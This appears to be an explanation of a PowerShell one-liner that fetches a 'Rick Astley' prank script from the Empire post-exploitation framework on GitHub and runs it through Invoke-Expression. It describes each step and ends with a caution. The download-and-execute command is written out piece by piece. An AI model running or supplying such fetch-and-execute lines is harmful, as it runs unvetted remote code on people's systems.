This code downloads and executes a PowerShell script from a...

This code downloads and executes a PowerShell script from a remote URL, effectively running the contents of that script on the system. Here's a breakdown of what the code is doing:

1. (New-Object Net.WebClient) creates a new instance of the WebClient object, which is used to handle web requests.
2. .DownloadData("https://raw.githubusercontent.com/EmpireProject/Empire/refs/heads/master/data/module_source/trollsploit/Get-RickAstley.ps1") fetches the raw contents of the specified URL as binary data.
3. [System.Text.Encoding]::ASCII.GetString(...) converts the downloaded binary data into an ASCII string. This treats the binary content as text, assuming it's a PowerShell script.
4. iex -Command (...) evaluates and executes the downloaded script dynamically using the iex (Invoke-Expression) command of PowerShell.

Effectively, this code retrieves a script hosted at the specified GitHub URL and immediately executes it.
The URL points to a "Rick Astley" themed script (based on the naming), so it is likely intended to be humorous or a "rickroll" in nature. However, executing scripts from unverified URLs can be dangerous, as the downloaded script could contain malicious code, so such commands should be approached with extreme caution.